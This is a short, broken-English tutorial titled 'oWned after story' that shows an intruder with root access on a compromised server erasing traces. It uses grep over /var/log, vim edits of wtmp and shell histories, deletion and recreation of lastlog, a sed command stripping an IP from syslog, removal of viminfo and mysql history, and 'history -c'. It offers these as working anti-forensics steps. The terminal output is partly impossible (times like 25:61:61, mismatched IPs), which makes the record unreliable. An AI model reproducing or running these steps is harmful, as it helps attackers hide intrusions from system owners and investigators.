oWned after story

Your access log was stored.
Need delete. main mission delete ip.
This example hijacked authorized_keys.
$ w
25:61:61 up 99999999999 days, 26:61, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 37.59.14.201 26:61 0.00s 0.00s 0.00s sshd: root
$ find /var/log -type f | xargs grep '37.59.14.201'
/var/log/syslog:John 32 26:61:61 hostname sshd[99999]: ***************** from 37.48.80.101 port 99999 ssh2
Binary file /var/log/wtmp matches
Binary file /var/log/lastlog matches
delete this. vim can find wtmp ^G first code.
$ vim /var/log/wtmp
^G^@^@^@^@^@^@pts/0^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ts/0root^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@37.48.80.101^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^C^Q^@^@^@^@P^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
something delete
$ rm -f /var/log/lastlog
$ touch /var/log/lastlog
might stop syslog. if reaccess, do not this.
sed -i -e '/37.48.80.101/d' /var/log/syslog
edit log
$ vim .bash_history
$ vim .zsh_history
rm something info
$ rm -f ~/.viminfo
$ rm -f ~/.mysql_history
this might clear up command history
history -c
complete. your server is owned.